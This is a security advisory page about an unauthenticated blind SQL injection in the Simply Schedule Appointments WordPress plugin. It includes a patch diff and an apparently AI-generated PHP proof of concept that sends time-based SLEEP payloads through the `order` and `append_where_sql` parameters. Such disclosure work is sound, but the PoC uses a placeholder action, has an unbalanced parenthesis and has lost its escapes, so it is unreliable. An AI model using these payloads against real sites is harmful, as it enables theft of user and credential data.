Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12166: Simply Schedule Appointments <= 1.6.9.9 – Unauthenticated SQL Injection via `order` and `append_where_sql` Parameters (simply-schedule-appointments)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.6.9.9
Patched Version 1.6.9.13
Disclosed January 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12166:
This vulnerability is an unauthenticated blind SQL injection in the Simply Schedule Appointments WordPress plugin, affecting versions up to and including 1.6.9.9. The flaw resides in the plugin’s database model class, allowing attackers to inject arbitrary SQL via the `order` and `append_where_sql` parameters. The CVSS score of 7.5 reflects a high-severity information disclosure risk.

Atomic Edge research identifies the root cause in the `db_query` method within the `TD_DB_Model` class, located at `/includes/lib/td-util/class-td-db-model.php`. The vulnerable code directly interpolates user-controlled parameters `$args[‘order’]` and `$args[‘append_where_sql’]` into SQL statements after only applying `esc_sql()`. This function is insufficient for preventing SQL injection when user input controls SQL keywords or clause structures. The `append_where_sql` parameter was also processed without verifying its origin, accepting it from `$_REQUEST` parameters.

Exploitation occurs via HTTP requests to endpoints that invoke the `db_query` method, likely through AJAX handlers or REST API endpoints exposed by the plugin. An attacker crafts requests containing malicious SQL in the `order` parameter, such as `order=ASC,(SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END))–`. For the `append_where_sql` parameter, an attacker submits payloads like `append_where_sql[]=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)–`. These payloads are concatenated directly into the WHERE clause and ORDER BY clause of the generated SQL query.

The patch modifies two key areas in `/includes/lib/td-util/class-td-db-model.php`. For the `order` parameter, it adds validation: `$sanitized_order = ‘ASC’ === strtoupper( esc_sql( $args[‘order’] ) ) ? ‘ASC’ : ‘DESC’;`. This restricts the value strictly to ASC or DESC. For the `append_where_sql` parameter, the patch adds an origin check: `if ( ! empty( $args[‘append_where_sql’] ) && empty( $_REQUEST[‘append_where_sql’]) )`. This prevents user-supplied request parameters from influencing this clause. The patch also applies `sanitize_key()` to field names in `db_get_by`, `db_get_field`, and `db_get_field_by` methods for additional hardening.

Successful exploitation allows unauthenticated attackers to extract sensitive information from the WordPress database. This includes appointment details, user PII, plugin configuration secrets, and potentially WordPress user credentials or hashes. The blind SQL injection technique enables data exfiltration character by character, compromising the confidentiality of all data within the database reachable by the plugin’s MySQL user.

Differential between vulnerable and patched code

Code Diff
--- a/simply-schedule-appointments/admin-app/iframe-inner.php
+++ b/simply-schedule-appointments/admin-app/iframe-inner.php
@@ -62,7 +62,7 @@
     <link rel='stylesheet' id='ssa-admin-custom-css'  href='<?php echo $admin_css_url; ?>' type='text/css' media='all' />
     <?php do_action( 'ssa_admin_head' ); ?>
   </head>
-  <body <?php body_class(); ?>>
+  <body <?php body_class(); ?> data-iframe-height>
   <?php echo '<div id="ssa-admin-app">
 			<noscript>
 				<div class="unsupported">
--- a/simply-schedule-appointments/booking-app-new/fullscreen-page.php
+++ b/simply-schedule-appointments/booking-app-new/fullscreen-page.php
@@ -6,7 +6,7 @@
     <title><?php the_title(); ?></title>
     <?php wp_head(); ?>
   </head>
-  <body <?php body_class(); ?>>
+  <body <?php body_class(); ?> data-iframe-height>
     <?php while ( have_posts() ) : the_post(); ?>
       <?php the_content(); ?>
     <?php endwhile; // End of the loop. ?>
--- a/simply-schedule-appointments/booking-app-new/page-appointment-edit.php
+++ b/simply-schedule-appointments/booking-app-new/page-appointment-edit.php
@@ -6,7 +6,7 @@
     <title><?php echo apply_filters( 'ssa_appointment_edit_page_title', __( 'Edit Appointment', 'simply-schedule-appointments' ) ); ?></title>
     <?php wp_head(); ?>
   </head>
-  <body <?php body_class(); ?>>
+  <body <?php body_class(); ?> data-iframe-height>
     <?php
     global $ssa_current_appointment_id;
     if ( empty( $ssa_current_appointment_id ) ) {
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.9.9';
+	const VERSION = '1.6.9.13';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.9';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.13';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.9.9';
+	const MINIMUM_PHP_VERSION = '1.6.9.13';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.9.9
+	 *  @version    1.6.9.13
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/includes/lib/td-util/class-td-db-model.php
+++ b/simply-schedule-appointments/includes/lib/td-util/class-td-db-model.php
@@ -222,8 +222,8 @@
 	 */
 	public function db_get_by( $field, $row_id, $recursive=0 ) {
 		global $wpdb;
-		$field = esc_sql( $field );
-		$row = (array)$wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$this->get_table_name()} WHERE $field = %s LIMIT 1;", $row_id ) );
+		$sanitized_field = sanitize_key( esc_sql( $field ) );
+		$row = (array)$wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$this->get_table_name()} WHERE $sanitized_field = %s LIMIT 1;", $row_id ) );
 		$row = $this->prepare_item_for_response( $row, $recursive );
 		return $row;
 	}
@@ -237,8 +237,8 @@
 	 */
 	public function db_get_field( $field, $row_id ) {
 		global $wpdb;
-		$field = esc_sql( $field );
-		return $wpdb->get_var( $wpdb->prepare( "SELECT $field FROM {$this->get_table_name()} WHERE $this->primary_key = %s LIMIT 1;", $row_id ) );
+		$sanitized_field = sanitize_key( esc_sql( $field ) );
+		return $wpdb->get_var( $wpdb->prepare( "SELECT $sanitized_field FROM {$this->get_table_name()} WHERE $this->primary_key = %s LIMIT 1;", $row_id ) );
 	}

 	/**
@@ -250,9 +250,9 @@
 	 */
 	public function db_get_field_by( $field, $field_where, $field_value ) {
 		global $wpdb;
-		$field_where = esc_sql( $field_where );
-		$field       = esc_sql( $field );
-		return $wpdb->get_var( $wpdb->prepare( "SELECT $field FROM {$this->get_table_name()} WHERE $field_where = %s LIMIT 1;", $field_value ) );
+		$sanitized_field_where = sanitize_key( esc_sql( $field_where ) );
+		$sanitized_field = sanitize_key( esc_sql( $field ) );
+		return $wpdb->get_var( $wpdb->prepare( "SELECT $sanitized_field FROM {$this->get_table_name()} WHERE $sanitized_field_where = %s LIMIT 1;", $field_value ) );
 	}

 	public function get_meta_foreign_key(){
@@ -1015,7 +1015,8 @@
 		$where = '';
 		$schema = $this->get_schema();

-		if ( ! empty( $args['append_where_sql'] ) ) {
+		// we allow append_where_sql to be set in the backend, but not in the request parameters
+		if ( ! empty( $args['append_where_sql'] ) && empty( $_REQUEST['append_where_sql']) ) {
 			if( ! is_array( $args['append_where_sql'] ) ) {
 				$args['append_where_sql'] = array( $args['append_where_sql'] );
 			}
@@ -1164,13 +1165,13 @@

 		// $rows = wp_cache_get( $cache_key, 'rows' );

-		$args['orderby'] = esc_sql( $args['orderby'] );
-		$args['order']   = esc_sql( $args['order'] );
+		$sanitized_orderby = sanitize_key(esc_sql( $args['orderby'] ));
+		$sanitized_order = 'ASC' === strtoupper( esc_sql( $args['order'] ) ) ? 'ASC' : 'DESC';
 		$table_name      = $this->get_table_name();
 		$fields          = empty( $args['fields'] ) ? '*' : '`' . implode( '`, `', $args['fields'] ) . '`';

 		// if( $rows === false ) {
-			$sql = $wpdb->prepare( "SELECT $fields FROM  $table_name $where ORDER BY {$args['orderby']} {$args['order']} LIMIT %d,%d;", absint( $args['offset'] ), absint( $args['number'] ) );
+			$sql = $wpdb->prepare( "SELECT $fields FROM  $table_name $where ORDER BY $sanitized_orderby $sanitized_order LIMIT %d,%d;", absint( $args['offset'] ), absint( $args['number'] ) );
 			$rows = $wpdb->get_results( $sql );
 			$rows = array_map( function($row) { return (array)$row; }, $rows );
 		// }
--- a/simply-schedule-appointments/languages/admin-app-translations.php
+++ b/simply-schedule-appointments/languages/admin-app-translations.php
@@ -927,6 +927,7 @@
       ),
       'messages' =>
       array (
+        'titleError' => __( 'Title is required', 'simply-schedule-appointments' ),
         'sentToError' => __( 'Please enter a valid email address', 'simply-schedule-appointments' ),
         'smsToError' => __( 'Please select at least one recipient', 'simply-schedule-appointments' ),
         'triggerError' => __( 'You must select a trigger for a notification', 'simply-schedule-appointments' ),
--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.9.9
+ * Version:     1.6.9.13
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.9.9
+ * @version 1.6.9.13
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -206,7 +206,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.9.9';
+	const VERSION = '1.6.9.13';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '1aef0ee58a3d3f1acd4f02f0244d319b85c8b2dc',
+        'reference' => '4822c23d07d7a33852badccf9a4d06e8217fb260',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '1aef0ee58a3d3f1acd4f02f0244d319b85c8b2dc',
+            'reference' => '4822c23d07d7a33852badccf9a4d06e8217fb260',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12166 - Simply Schedule Appointments <= 1.6.9.9 - Unauthenticated SQL Injection via `order` and `append_where_sql` Parameters

<?php

$target_url = "https://vulnerable-site.com/wp-admin/admin-ajax.php"; // Target endpoint

// The specific AJAX action that triggers the vulnerable db_query method.
// This action name must be discovered through reconnaissance of the plugin's exposed endpoints.
$ajax_action = "ssa_endpoint"; // PLACEHOLDER - requires identification of the actual vulnerable action

// Payload for time-based blind SQL injection via the 'order' parameter.
// This payload tests if the database sleeps for 5 seconds if the condition is true.
$sql_payload = "ASC,(SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END))--";

$post_data = array(
    'action' => $ajax_action,
    'order' => $sql_payload
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increase timeout to detect sleep

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);

$request_duration = $end_time - $start_time;

if ($request_duration >= 5) {
    echo "[+] VULNERABLE: Time delay detected ({$request_duration}s). SQL injection via 'order' parameter successful.n";
} else {
    echo "[-] Target may not be vulnerable or the endpoint/action is incorrect. Request took {$request_duration}s.n";
}

// Alternative payload using the 'append_where_sql' parameter (if the endpoint accepts it)
$post_data2 = array(
    'action' => $ajax_action,
    'append_where_sql[]' => "1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--"
);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $post_data2);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_TIMEOUT, 15);

$start_time2 = microtime(true);
$response2 = curl_exec($ch2);
$end_time2 = microtime(true);
curl_close($ch2);

$request_duration2 = $end_time2 - $start_time2;

if ($request_duration2 >= 5) {
    echo "[+] VULNERABLE: Time delay detected ({$request_duration2}s). SQL injection via 'append_where_sql' parameter successful.n";
} else {
    echo "[-] 'append_where_sql' parameter not exploitable or endpoint incorrect.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School